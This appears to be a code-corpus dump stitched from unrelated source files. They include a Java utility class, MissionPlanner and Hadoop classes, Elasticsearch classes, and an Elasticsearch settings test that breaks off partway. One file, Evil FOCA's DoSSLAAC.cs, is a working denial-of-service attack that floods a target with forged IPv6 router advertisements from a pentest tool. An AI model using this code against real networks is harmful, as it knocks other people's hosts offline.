File pFile = new File(sFileName_);
return(pFile.isFile()); }
public static boolean existsDir(String sDirName_) {
panicIf(sDirName_ == null, "Util: existsDir");
File pFile = new File(sDirName_);
return(pFile.isDirectory()); }
public static boolean exists(String sFileOrDirName_) {
panicIf(sFileOrDirName_ == null, "Util: exists");
return(existsFile(sFileOrDirName_) || existsDir(sFileOrDirName_)); }
public static void fillRect(Graphics g_, int x_, int y_, int width_, int height_, Color color_) {
Color clrCurrent = g_.getColor();
g_.setColor(color_);
g_.fillRect(x_, y_, width_, height_);
g_.setColor(clrCurrent); }
public static Dimension getScreenSize(Component comp) {
Toolkit tlk = comp.getToolkit();
Dimension dim = tlk.getScreenSize();
return(dim); }
public static int width(Component component) {
return getWidth(component); }
public static int getWidth(Component component) {
Dimension dim = component.minimumSize();
return dim.width; }
public static int height(Component component) {
return getHeight(component); }
public static int getHeight(Component component) {
Dimension dim = component.minimumSize();
return dim.height; }
public static void maximizeWindow(Window win) {
win.move(0, 0);
win.resize(getScreenSize(win)); }
public static void centerComponent(Component cmpObject) {
Dimension dimObject = cmpObject.size();
Dimension dimScreen = getScreenSize(cmpObject);
int posX;
int posY;
posX = (dimScreen.width - dimObject.width)/2;
if (posX < 0) {
posX = 0; }
posY = (dimScreen.height - dimObject.height)/2;
if (posY < 0) {
posY = 0; }
cmpObject.move(posX, posY); }
public static boolean isOKOrCancel(String sMessage_) {
CubbyHole ch = new CubbyHole();
OKCancelDialog dlgOKCancel = new OKCancelDialog(ch, sMessage_);
dlgOKCancel.dispose();
return(ch.get() != 0); }
public static void showMessage(String sMessages_) {
MessageBox dlgMessage = new MessageBox(sMessages_);
dlgMessage.dispose(); }
public static void showAboutDialog(Init pInit_) {
CubbyHole ch = new CubbyHole();
AboutDialog dlgAbout = new AboutDialog(ch, pInit_);
dlgAbout.dispose(); }
public static String inputCancel(String sPrint_) {
return inputCancel(sPrint_, ""); }
public static String inputCancel(String sPrint_, String sInit_) {
InputCancelDialog dlgInput = new InputCancelDialog(sPrint_, sInit_);
String sRetVal = dlgInput.getValue();
if (!dlgInput.isOk()){
sRetVal = null; }
dlgInput.dispose();
return sRetVal; }
public static String inputListCancel(String sPrint_, Vector vsItems_) {
ListCancelSelector dlgInput = new ListCancelSelector(sPrint_, vsItems_);
String sRetVal = dlgInput.getValue();
dlgInput.dispose();
return sRetVal; }
public static boolean showDocument(Applet applet, String sUrl) {
return showDocument(applet.getAppletContext(), sUrl); }
public static boolean showDocument(AppletContext appcontext, String sUrl) {
try { appcontext.showDocument(new URL(sUrl),"");
} catch (Exception e) {
return true; }
return false; }
public static void system (String sCommand) throws Exception {
try { Process p = Runtime.getRuntime().exec(sCommand);
} catch (Exception e){
throw e; } }
private static Object _objSwap;
private static boolean _bNochKeinSwap = true;
public static Object swap(Object objFirst, Object objSecond) {
panicIf(_bNochKeinSwap == false);
_bNochKeinSwap = false;
_objSwap = objFirst;
return(objSecond); }
public static Object swap() {
panicIf(_bNochKeinSwap == true);
_bNochKeinSwap = true;
return(_objSwap); }
private static int _swap;
private static boolean _bNochKeinIntSwap = true;
public static int swapInt(int first, int second) {
panicIf(_bNochKeinIntSwap == false);
_bNochKeinIntSwap = false;
_swap = first;
return(second); }
public static int swapInt() {
panicIf(_bNochKeinIntSwap == true);
_bNochKeinIntSwap = true;
return(_swap); }
public static Vector objectsToVector(Object apObjects[]) {
Vector vRetVal = new Vector();
if (apObjects != null && apObjects.length > 0) {
for(int nr = 0; nr < apObjects.length; nr++) {
vRetVal.addElement(apObjects[nr]); } }
return vRetVal; }
public static Vector filter(Vector pVector_, final String sBadElement_) {
panicIf(sBadElement_ == null);
Predicate pFilter = new Predicate() {
public boolean test(Object pObject_) {
return(!sBadElement_.equals((String)pObject_)); } };
return filter(pVector_, pFilter); }
public static Vector filter(Vector pVector_, Vector vBadElements_) {
Vector vRetVal = pVector_;
panicIf(vBadElements_ == null);
for(Enumeration e = vBadElements_.elements(); e.hasMoreElements(); ) {
String sBadElement = (String)e.nextElement();
vRetVal = filter(vRetVal, sBadElement); }
return vRetVal; }
public static Vector filter(Vector pVector_, Predicate pFilter_) {
Vector vRetVal = new Vector();
for(Enumeration e = pVector_.elements(); e.hasMoreElements(); ) {
Object pObject = e.nextElement();
if (pFilter_.test(pObject)) {
vRetVal.addElement(pObject); } }
return vRetVal; }
public static Vector map(Vector pVector_, Transformer pTransformer_) {
Vector vRetVal = new Vector();
for(Enumeration e = pVector_.elements(); e.hasMoreElements(); ) {
Object pObject = e.nextElement();
vRetVal.addElement(pTransformer_.transform(pObject)); }
return vRetVal; }
public static boolean contains(Vector pVector_, final String sFind_) {
panicIf(sFind_ == null);
Predicate pFilter = new Predicate() {
public boolean test(Object pObject_) {
return(sFind_.equals((String)pObject_)); } };
return contains(pVector_, pFilter); }
public static boolean contains(Vector pVector_, Predicate pFilter_) {
Vector vRetVal = new Vector();
for(Enumeration e = pVector_.elements(); e.hasMoreElements(); ) {
Object pObject = e.nextElement();
if (pFilter_.test(pObject)) {
return true; } }
return false; }
public static Vector sort(final Vector pVector_) {
ObjectComparator classcmp = new ObjectComparator();
return sort(pVector_, classcmp); }
public static void quickSort(Object s[], int lo, int hi, Comparator cmp) {
if (lo >= hi)
return;
int mid = (lo + hi) / 2;
if (cmp.compare(s[lo], s[mid]) > 0) {
Object tmp = s[lo];
s[lo] = s[mid];
s[mid] = tmp; }
if (cmp.compare(s[mid], s[hi]) > 0) {
Object tmp = s[mid];
s[mid] = s[hi];
s[hi] = tmp; // swap
if (cmp.compare(s[lo], s[mid]) > 0) {
Object tmp2 = s[lo];
s[lo] = s[mid];
s[mid] = tmp2; } }
int left = lo+1; // start one past lo since already handled lo
int right = hi-1; // similarly
if (left >= right)
return; // if three or fewer we are done
Object partition = s[mid];
for (;;) {
while (cmp.compare(s[right], partition) > 0)
--right;
while (left < right && cmp.compare(s[left], partition) <= 0)
++left;
if (left < right) {
Object tmp = s[left];
s[left] = s[right];
s[right] = tmp; // swap
--right; }
else
break; }
quickSort(s, lo, left, cmp);
quickSort(s, left+1, hi, cmp); }
public static void quickSort(Vector s, int lo, int hi, Comparator cmp) {
panicIf (s == null);
if (lo >= hi)
return;
int mid = (lo + hi) / 2;
if (cmp.compare(s.elementAt(lo), s.elementAt(mid)) > 0) {
Object tmp = s.elementAt(lo);
s.setElementAt(s.elementAt(mid), lo);
s.setElementAt(tmp, mid); }
if (cmp.compare(s.elementAt(mid), s.elementAt(hi)) > 0) {
Object tmp = s.elementAt(mid);
s.setElementAt(s.elementAt(hi), mid);
s.setElementAt(tmp, hi);
if (cmp.compare(s.elementAt(lo), s.elementAt(mid)) > 0) {
Object tmp2 = s.elementAt(lo);
s.setElementAt(s.elementAt(mid), lo);
s.setElementAt(tmp2, mid); } }
int left = lo+1; // start one past lo since already handled lo
int right = hi-1; // similarly
if (left >= right)
return; // if three or fewer we are done
Object partition = s.elementAt(mid);
for (;;) {
while (cmp.compare(s.elementAt(right), partition) > 0)
--right;
while (left < right && cmp.compare(s.elementAt(left), partition) <= 0)
++left;
if (left < right) {
Object tmp = s.elementAt(left);
s.setElementAt(s.elementAt(right), left);
s.setElementAt(tmp, right);
--right; }
else
break; }
quickSort(s, lo, left, cmp);
quickSort(s, left+1, hi, cmp); }
public static Vector sort(final Vector vInput_, Comparator pComparator_) {
panicIf(vInput_ == null);
Vector vRetVal = (Vector)vInput_.clone();
if (vInput_.size() > 0) {
quickSort(vRetVal, 0, vRetVal.size() - 1, pComparator_); }
return vRetVal; }
public static Vector concat(Vector vFirst_, Vector vSecond_) {
Vector vRetVal = (Vector)vFirst_.clone();
for(Enumeration e = vSecond_.elements(); e.hasMoreElements(); ) {
vRetVal.addElement(e.nextElement()); }
return vRetVal; }
public static Vector subtract(Vector vSource_, Vector vToDelete_) {
Vector vRetVal = (Vector)vSource_.clone();
for(Enumeration e = vToDelete_.elements(); e.hasMoreElements(); ) {
vRetVal.removeElement(e.nextElement()); }
return vRetVal; }}
| gpl-3.0 |
kexin0614/MissionPlanner_Custom | ExtLibs/Controls/BackstageView/BackstageViewCollection.cs | 1094 | using System;
using System.Collections;
using System.Collections.Generic;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using MissionPlanner.Controls.BackstageView;
namespace MissionPlanner.Controls.BackstageView
{
public class BackstageViewCollection : CollectionBase
{
public BackstageViewPage this[int Index]
{
get
{
return (BackstageViewPage)List[Index];
}
}
public bool Contains(BackstageViewPage itemType)
{
return List.Contains(itemType);
}
public int Add(BackstageViewPage itemType)
{
return List.Add(itemType);
}
public void Remove(BackstageViewPage itemType)
{
List.Remove(itemType);
}
public void Insert(int index, BackstageViewPage itemType)
{
List.Insert(index, itemType);
}
public int IndexOf(BackstageViewPage itemType)
{
return List.IndexOf(itemType);
}
}
}
| gpl-3.0 |
ElevenPaths/EvilFOCA | EvilFoca/Attacks/DoSSLAAC.cs | 4603 | /*
Evil FOCA
Copyright (C) 2015 ElevenPaths
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
using System;
using System.Linq;
using System.Net;
using System.Net.NetworkInformation;
using System.Threading;
using PacketDotNet;
using PacketDotNet.Utils;
using SharpPcap.WinPcap;
using System.Collections.Generic;
namespace evilfoca.Attacks
{
public class DoSSLAAC
{
private const int SendDoSAttackEachXSecs = 5;
private const int NumberOfRouterAdvertisement = 10000;
private WinPcapDevice device;
private Thread threadAttack;
private IList<Data.Attack> attacks;
private Random random = new Random();
public static PhysicalAddress MACsrc = DoSSLAAC.GetRandomMAC();
public DoSSLAAC(WinPcapDevice device, IList<Data.Attack> attacks)
{
this.device = device;
this.attacks = attacks;
}
public void Start()
{
threadAttack = new Thread(new ThreadStart(Attack));
threadAttack.IsBackground = true;
threadAttack.Start();
}
private void Attack()
{
while (true)
{
try
{
foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.DoSSLAAC && A.attackStatus == Data.AttackStatus.Attacking))
{
if (attack is evilfoca.Data.DoSSLAACAttack)
{
for (int i = 0; i < NumberOfRouterAdvertisement; i++)
{
//MAC del equipo atacado
PhysicalAddress MACdst = (attack as evilfoca.Data.DoSSLAACAttack).t1.mac;
//IP de origen aleatoria pero siempre de vinculo local
IPAddress IPsrc = GetRandomLocalIPv6();
//IP atacada
IPAddress IPdst = (attack as evilfoca.Data.DoSSLAACAttack).t1.ip;
ICMPv6Packet routerAdvertisement = new ICMPv6Packet(new ByteArraySegment(new ICMPv6.NeighborRouterAdvertisement(MACsrc, GetRandomPrefix(), true).GetBytes()));
IPv6Packet ipv6 = new IPv6Packet(IPsrc, IPdst);
ipv6.PayloadPacket = routerAdvertisement;
ipv6.HopLimit = 255;
EthernetPacket ethernet = new EthernetPacket(MACsrc, MACdst, EthernetPacketType.IpV6);
ethernet.PayloadPacket = ipv6;
Program.CurrentProject.data.SendPacket(ethernet);
}
}
}
Thread.Sleep(SendDoSAttackEachXSecs * 1000);
}
catch (ThreadAbortException)
{
return;
}
catch
{
}
}
}
public static PhysicalAddress GetRandomMAC()
{
byte[] RandomMAC = new byte[6];
Random random = new Random();
random.NextBytes(RandomMAC);
return new PhysicalAddress(RandomMAC);
}
public IPAddress GetRandomLocalIPv6()
{
byte[] Network = new byte[8] { 0xfe, 0x80, 0, 0, 0, 0, 0, 0 };
byte[] RandomIP = new byte[16];
random.NextBytes(RandomIP);
Array.Copy(Network, RandomIP, 8);
return new IPAddress(RandomIP);
}
public byte[] GetRandomPrefix()
{
byte[] prefix = new byte[8];
random.NextBytes(prefix);
return prefix;
}
public void Stop()
{
if (threadAttack != null && threadAttack.IsAlive)
{
threadAttack.Abort();
threadAttack = null;
}
}
}
}
| gpl-3.0 |
jmluy/elasticsearch | x-pack/plugin/core/src/main/java/org/elasticsearch/xpack/core/transform/transforms/TransformState.java | 11060 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0; you may not use this file except in compliance with the Elastic License
* 2.0.
*/
package org.elasticsearch.xpack.core.transform.transforms;
import org.elasticsearch.Version;
import org.elasticsearch.common.Strings;
import org.elasticsearch.common.io.stream.StreamInput;
import org.elasticsearch.common.io.stream.StreamOutput;
import org.elasticsearch.core.Nullable;
import org.elasticsearch.persistent.PersistentTaskState;
import org.elasticsearch.tasks.Task;
import org.elasticsearch.xcontent.ConstructingObjectParser;
import org.elasticsearch.xcontent.ObjectParser.ValueType;
import org.elasticsearch.xcontent.ParseField;
import org.elasticsearch.xcontent.XContentBuilder;
import org.elasticsearch.xcontent.XContentParser;
import org.elasticsearch.xpack.core.indexing.IndexerState;
import org.elasticsearch.xpack.core.transform.TransformField;
import java.io.IOException;
import java.util.Map;
import java.util.Objects;
import static org.elasticsearch.xcontent.ConstructingObjectParser.constructorArg;
import static org.elasticsearch.xcontent.ConstructingObjectParser.optionalConstructorArg;
public class TransformState implements Task.Status, PersistentTaskState {
public static final String NAME = TransformField.TASK_NAME;
private final TransformTaskState taskState;
private final IndexerState indexerState;
private final TransformProgress progress;
private final long checkpoint;
@Nullable
private final TransformIndexerPosition position;
@Nullable
private final String reason;
@Nullable
private NodeAttributes node;
private final boolean shouldStopAtNextCheckpoint;
public static final ParseField TASK_STATE = new ParseField("task_state");
public static final ParseField INDEXER_STATE = new ParseField("indexer_state");
// 7.3 BWC: current_position only exists in 7.2. In 7.3+ it is replaced by position.
public static final ParseField CURRENT_POSITION = new ParseField("current_position");
public static final ParseField POSITION = new ParseField("position");
public static final ParseField CHECKPOINT = new ParseField("checkpoint");
public static final ParseField REASON = new ParseField("reason");
public static final ParseField PROGRESS = new ParseField("progress");
public static final ParseField NODE = new ParseField("node");
public static final ParseField SHOULD_STOP_AT_NEXT_CHECKPOINT = new ParseField("should_stop_at_checkpoint");
@SuppressWarnings("unchecked")
public static final ConstructingObjectParser<TransformState, Void> PARSER = new ConstructingObjectParser<>(NAME, true, args -> {
TransformTaskState taskState = (TransformTaskState) args[0];
IndexerState indexerState = (IndexerState) args[1];
Map<String, Object> bwcCurrentPosition = (Map<String, Object>) args[2];
TransformIndexerPosition transformIndexerPosition = (TransformIndexerPosition) args[3];
// BWC handling, translate current_position to position iff position isn't set
if (bwcCurrentPosition != null && transformIndexerPosition == null) {
transformIndexerPosition = new TransformIndexerPosition(bwcCurrentPosition, null);
}
long checkpoint = (long) args[4];
String reason = (String) args[5];
TransformProgress progress = (TransformProgress) args[6];
NodeAttributes node = (NodeAttributes) args[7];
boolean shouldStopAtNextCheckpoint = args[8] == null ? false : (boolean) args[8];
return new TransformState(
taskState,
indexerState,
transformIndexerPosition,
checkpoint,
reason,
progress,
node,
shouldStopAtNextCheckpoint
);
});
static {
PARSER.declareField(constructorArg(), p -> TransformTaskState.fromString(p.text()), TASK_STATE, ValueType.STRING);
PARSER.declareField(constructorArg(), p -> IndexerState.fromString(p.text()), INDEXER_STATE, ValueType.STRING);
PARSER.declareField(optionalConstructorArg(), XContentParser::mapOrdered, CURRENT_POSITION, ValueType.OBJECT);
PARSER.declareField(optionalConstructorArg(), TransformIndexerPosition::fromXContent, POSITION, ValueType.OBJECT);
PARSER.declareLong(ConstructingObjectParser.optionalConstructorArg(), CHECKPOINT);
PARSER.declareString(optionalConstructorArg(), REASON);
PARSER.declareField(optionalConstructorArg(), TransformProgress.PARSER::apply, PROGRESS, ValueType.OBJECT);
PARSER.declareField(optionalConstructorArg(), NodeAttributes.PARSER::apply, NODE, ValueType.OBJECT);
PARSER.declareBoolean(optionalConstructorArg(), SHOULD_STOP_AT_NEXT_CHECKPOINT);
}
public TransformState(
TransformTaskState taskState,
IndexerState indexerState,
@Nullable TransformIndexerPosition position,
long checkpoint,
@Nullable String reason,
@Nullable TransformProgress progress,
@Nullable NodeAttributes node,
boolean shouldStopAtNextCheckpoint
) {
this.taskState = taskState;
this.indexerState = indexerState;
this.position = position;
this.checkpoint = checkpoint;
this.reason = reason;
this.progress = progress;
this.node = node;
this.shouldStopAtNextCheckpoint = shouldStopAtNextCheckpoint;
}
public TransformState(
TransformTaskState taskState,
IndexerState indexerState,
@Nullable TransformIndexerPosition position,
long checkpoint,
@Nullable String reason,
@Nullable TransformProgress progress,
@Nullable NodeAttributes node
) {
this(taskState, indexerState, position, checkpoint, reason, progress, node, false);
}
public TransformState(
TransformTaskState taskState,
IndexerState indexerState,
@Nullable TransformIndexerPosition position,
long checkpoint,
@Nullable String reason,
@Nullable TransformProgress progress
) {
this(taskState, indexerState, position, checkpoint, reason, progress, null);
}
public TransformState(StreamInput in) throws IOException {
taskState = TransformTaskState.fromStream(in);
indexerState = IndexerState.fromStream(in);
if (in.getVersion().onOrAfter(Version.V_7_3_0)) {
position = in.readOptionalWriteable(TransformIndexerPosition::new);
} else {
Map<String, Object> pos = in.readMap();
position = new TransformIndexerPosition(pos, null);
}
checkpoint = in.readLong();
reason = in.readOptionalString();
progress = in.readOptionalWriteable(TransformProgress::new);
if (in.getVersion().onOrAfter(Version.V_7_3_0)) {
node = in.readOptionalWriteable(NodeAttributes::new);
} else {
node = null;
}
if (in.getVersion().onOrAfter(Version.V_7_6_0)) {
shouldStopAtNextCheckpoint = in.readBoolean();
} else {
shouldStopAtNextCheckpoint = false;
}
}
public TransformTaskState getTaskState() {
return taskState;
}
public IndexerState getIndexerState() {
return indexerState;
}
public TransformIndexerPosition getPosition() {
return position;
}
public long getCheckpoint() {
return checkpoint;
}
public TransformProgress getProgress() {
return progress;
}
public String getReason() {
return reason;
}
public NodeAttributes getNode() {
return node;
}
public TransformState setNode(NodeAttributes node) {
this.node = node;
return this;
}
public boolean shouldStopAtNextCheckpoint() {
return shouldStopAtNextCheckpoint;
}
public static TransformState fromXContent(XContentParser parser) {
try {
return PARSER.parse(parser, null);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException {
builder.startObject();
builder.field(TASK_STATE.getPreferredName(), taskState.value());
builder.field(INDEXER_STATE.getPreferredName(), indexerState.value());
if (position != null) {
builder.field(POSITION.getPreferredName(), position);
}
builder.field(CHECKPOINT.getPreferredName(), checkpoint);
if (reason != null) {
builder.field(REASON.getPreferredName(), reason);
}
if (progress != null) {
builder.field(PROGRESS.getPreferredName(), progress);
}
if (node != null) {
builder.field(NODE.getPreferredName(), node);
}
builder.field(SHOULD_STOP_AT_NEXT_CHECKPOINT.getPreferredName(), shouldStopAtNextCheckpoint);
builder.endObject();
return builder;
}
@Override
public String getWriteableName() {
return NAME;
}
@Override
public void writeTo(StreamOutput out) throws IOException {
taskState.writeTo(out);
indexerState.writeTo(out);
if (out.getVersion().onOrAfter(Version.V_7_3_0)) {
out.writeOptionalWriteable(position);
} else {
out.writeMap(position != null ? position.getIndexerPosition() : null);
}
out.writeLong(checkpoint);
out.writeOptionalString(reason);
out.writeOptionalWriteable(progress);
if (out.getVersion().onOrAfter(Version.V_7_3_0)) {
out.writeOptionalWriteable(node);
}
if (out.getVersion().onOrAfter(Version.V_7_6_0)) {
out.writeBoolean(shouldStopAtNextCheckpoint);
}
}
@Override
public boolean equals(Object other) {
if (this == other) {
return true;
}
if (other == null || getClass() != other.getClass()) {
return false;
}
TransformState that = (TransformState) other;
return Objects.equals(this.taskState, that.taskState)
&& Objects.equals(this.indexerState, that.indexerState)
&& Objects.equals(this.position, that.position)
&& this.checkpoint == that.checkpoint
&& Objects.equals(this.reason, that.reason)
&& Objects.equals(this.progress, that.progress)
&& Objects.equals(this.shouldStopAtNextCheckpoint, that.shouldStopAtNextCheckpoint)
&& Objects.equals(this.node, that.node);
}
@Override
public int hashCode() {
return Objects.hash(taskState, indexerState, position, checkpoint, reason, progress, node, shouldStopAtNextCheckpoint);
}
@Override
public String toString() {
return Strings.toString(this);
}
}
| apache-2.0 |
gfyoung/elasticsearch | x-pack/plugin/sql/sql-action/src/main/java/org/elasticsearch/xpack/sql/action/SqlTranslateAction.java | 797 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License;
* you may not use this file except in compliance with the Elastic License.
*/
package org.elasticsearch.xpack.sql.action;
import org.elasticsearch.action.Action;
/**
* Sql action for translating SQL queries into ES requests
*/
public class SqlTranslateAction extends Action<SqlTranslateResponse> {
public static final SqlTranslateAction INSTANCE = new SqlTranslateAction();
public static final String NAME = "indices:data/read/sql/translate";
private SqlTranslateAction() {
super(NAME);
}
@Override
public SqlTranslateResponse newResponse() {
return new SqlTranslateResponse();
}
}
| apache-2.0 |
ucare-uchicago/hadoop | hadoop-common-project/hadoop-common/src/main/java/org/apache/hadoop/fs/CompositeCrcFileChecksum.java | 2364 | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.hadoop.fs;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
import org.apache.hadoop.classification.InterfaceAudience;
import org.apache.hadoop.classification.InterfaceStability;
import org.apache.hadoop.fs.Options.ChecksumOpt;
import org.apache.hadoop.util.CrcUtil;
import org.apache.hadoop.util.DataChecksum;
/** Composite CRC. */
@InterfaceAudience.LimitedPrivate({"HDFS"})
@InterfaceStability.Unstable
public class CompositeCrcFileChecksum extends FileChecksum {
public static final int LENGTH = Integer.SIZE / Byte.SIZE;
private int crc;
private DataChecksum.Type crcType;
private int bytesPerCrc;
/** Create a CompositeCrcFileChecksum. */
public CompositeCrcFileChecksum(
int crc, DataChecksum.Type crcType, int bytesPerCrc) {
this.crc = crc;
this.crcType = crcType;
this.bytesPerCrc = bytesPerCrc;
}
@Override
public String getAlgorithmName() {
return "COMPOSITE-" + crcType.name();
}
@Override
public int getLength() {
return LENGTH;
}
@Override
public byte[] getBytes() {
return CrcUtil.intToBytes(crc);
}
@Override
public ChecksumOpt getChecksumOpt() {
return new ChecksumOpt(crcType, bytesPerCrc);
}
@Override
public void readFields(DataInput in) throws IOException {
crc = in.readInt();
}
@Override
public void write(DataOutput out) throws IOException {
out.writeInt(crc);
}
@Override
public String toString() {
return getAlgorithmName() + ":" + String.format("0x%08x", crc);
}
}
| apache-2.0 |
jmluy/elasticsearch | server/src/internalClusterTest/java/org/elasticsearch/cluster/settings/ClusterSettingsIT.java | 33127 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.cluster.settings;
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.LogManager;
import org.elasticsearch.action.admin.cluster.settings.ClusterUpdateSettingsRequestBuilder;
import org.elasticsearch.action.admin.cluster.settings.ClusterUpdateSettingsResponse;
import org.elasticsearch.action.admin.cluster.state.ClusterStateResponse;
import org.elasticsearch.cluster.ClusterState;
import org.elasticsearch.cluster.block.ClusterBlockException;
import org.elasticsearch.cluster.metadata.Metadata;
import org.elasticsearch.cluster.routing.allocation.decider.EnableAllocationDecider;
import org.elasticsearch.common.settings.Setting;
import org.elasticsearch.common.settings.Settings;
import org.elasticsearch.common.unit.ByteSizeUnit;
import org.elasticsearch.core.TimeValue;
import org.elasticsearch.indices.recovery.RecoverySettings;
import org.elasticsearch.test.ESIntegTestCase;
import org.junit.After;
import java.util.Arrays;
import java.util.function.BiConsumer;
import java.util.function.Function;
import static org.elasticsearch.cluster.routing.allocation.DiskThresholdSettings.CLUSTER_ROUTING_ALLOCATION_REROUTE_INTERVAL_SETTING;
import static org.elasticsearch.cluster.routing.allocation.decider.ThrottlingAllocationDecider.CLUSTER_ROUTING_ALLOCATION_NODE_INITIAL_PRIMARIES_RECOVERIES_SETTING;
import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertAcked;
import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertBlocked;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.equalTo;
import static org.hamcrest.Matchers.notNullValue;
import static org.hamcrest.Matchers.nullValue;
public class ClusterSettingsIT extends ESIntegTestCase {
@After
public void cleanup() throws Exception {
assertAcked(
client().admin()
.cluster()
.prepareUpdateSettings()
.setPersistentSettings(Settings.builder().putNull("*"))
.setTransientSettings(Settings.builder().putNull("*"))
);
}
public void testClusterNonExistingPersistentSettingsUpdate() {
testClusterNonExistingSettingsUpdate((settings, builder) -> builder.setPersistentSettings(settings), "persistent");
}
public void testClusterNonExistingTransientSettingsUpdate() {
testClusterNonExistingSettingsUpdate((settings, builder) -> builder.setTransientSettings(settings), "transient");
}
private void testClusterNonExistingSettingsUpdate(
final BiConsumer<Settings.Builder, ClusterUpdateSettingsRequestBuilder> consumer,
String label
) {
String key1 = "no_idea_what_you_are_talking_about";
int value1 = 10;
try {
ClusterUpdateSettingsRequestBuilder builder = client().admin().cluster().prepareUpdateSettings();
consumer.accept(Settings.builder().put(key1, value1), builder);
builder.get();
fail("bogus value");
} catch (IllegalArgumentException ex) {
assertEquals(label + " setting [no_idea_what_you_are_talking_about], not recognized", ex.getMessage());
}
}
public void testDeleteIsAppliedFirstWithPersistentSettings() {
testDeleteIsAppliedFirst(
(settings, builder) -> builder.setPersistentSettings(settings),
ClusterUpdateSettingsResponse::getPersistentSettings
);
}
public void testDeleteIsAppliedFirstWithTransientSettings() {
testDeleteIsAppliedFirst(
(settings, builder) -> builder.setTransientSettings(settings),
ClusterUpdateSettingsResponse::getTransientSettings
);
}
private void testDeleteIsAppliedFirst(
final BiConsumer<Settings.Builder, ClusterUpdateSettingsRequestBuilder> consumer,
final Function<ClusterUpdateSettingsResponse, Settings> settingsFunction
) {
final Setting<Integer> INITIAL_RECOVERIES = CLUSTER_ROUTING_ALLOCATION_NODE_INITIAL_PRIMARIES_RECOVERIES_SETTING;
final Setting<TimeValue> REROUTE_INTERVAL = CLUSTER_ROUTING_ALLOCATION_REROUTE_INTERVAL_SETTING;
ClusterUpdateSettingsRequestBuilder builder = client().admin().cluster().prepareUpdateSettings();
consumer.accept(Settings.builder().put(INITIAL_RECOVERIES.getKey(), 7).put(REROUTE_INTERVAL.getKey(), "42s"), builder);
ClusterUpdateSettingsResponse response = builder.get();
assertAcked(response);
assertThat(INITIAL_RECOVERIES.get(settingsFunction.apply(response)), equalTo(7));
assertThat(clusterService().getClusterSettings().get(INITIAL_RECOVERIES), equalTo(7));
assertThat(REROUTE_INTERVAL.get(settingsFunction.apply(response)), equalTo(TimeValue.timeValueSeconds(42)));
assertThat(clusterService().getClusterSettings().get(REROUTE_INTERVAL), equalTo(TimeValue.timeValueSeconds(42)));
ClusterUpdateSettingsRequestBuilder undoBuilder = client().admin().cluster().prepareUpdateSettings();
consumer.accept(
Settings.builder().putNull((randomBoolean() ? "cluster.routing.*" : "*")).put(REROUTE_INTERVAL.getKey(), "43s"),
undoBuilder
);
response = undoBuilder.get();
assertThat(INITIAL_RECOVERIES.get(settingsFunction.apply(response)), equalTo(INITIAL_RECOVERIES.get(Settings.EMPTY)));
assertThat(clusterService().getClusterSettings().get(INITIAL_RECOVERIES), equalTo(INITIAL_RECOVERIES.get(Settings.EMPTY)));
assertThat(REROUTE_INTERVAL.get(settingsFunction.apply(response)), equalTo(TimeValue.timeValueSeconds(43)));
assertThat(clusterService().getClusterSettings().get(REROUTE_INTERVAL), equalTo(TimeValue.timeValueSeconds(43)));
}
public void testResetClusterTransientSetting() {
final Setting<Integer> INITIAL_RECOVERIES = CLUSTER_ROUTING_ALLOCATION_NODE_INITIAL_PRIMARIES_RECOVERIES_SETTING;
final Setting<TimeValue> REROUTE_INTERVAL = CLUSTER_ROUTING_ALLOCATION_REROUTE_INTERVAL_SETTING;
ClusterUpdateSettingsResponse response = client().admin()
.cluster()
.prepareUpdateSettings()
.setTransientSettings(Settings.builder().put(INITIAL_RECOVERIES.getKey(), 7).build())
.get();
assertAcked(response);
assertThat(INITIAL_RECOVERIES.get(response.getTransientSettings()), equalTo(7));
assertThat(clusterService().getClusterSettings().get(INITIAL_RECOVERIES), equalTo(7));
response = client().admin()
.cluster()
.prepareUpdateSettings()
.setTransientSettings(Settings.builder().putNull(INITIAL_RECOVERIES.getKey()))
.get();
assertAcked(response);
assertNull(response.getTransientSettings().get(INITIAL_RECOVERIES.getKey()));
assertThat(clusterService().getClusterSettings().get(INITIAL_RECOVERIES), equalTo(INITIAL_RECOVERIES.get(Settings.EMPTY)));
response = client().admin()
.cluster()
.prepareUpdateSettings()
.setTransientSettings(Settings.builder().put(INITIAL_RECOVERIES.getKey(), 8).put(REROUTE_INTERVAL.getKey(), "43s").build())
.get();
assertAcked(response);
assertThat(INITIAL_RECOVERIES.get(response.getTransientSettings()), equalTo(8));
assertThat(clusterService().getClusterSettings().get(INITIAL_RECOVERIES), equalTo(8));
assertThat(REROUTE_INTERVAL.get(response.getTransientSettings()), equalTo(TimeValue.timeValueSeconds(43)));
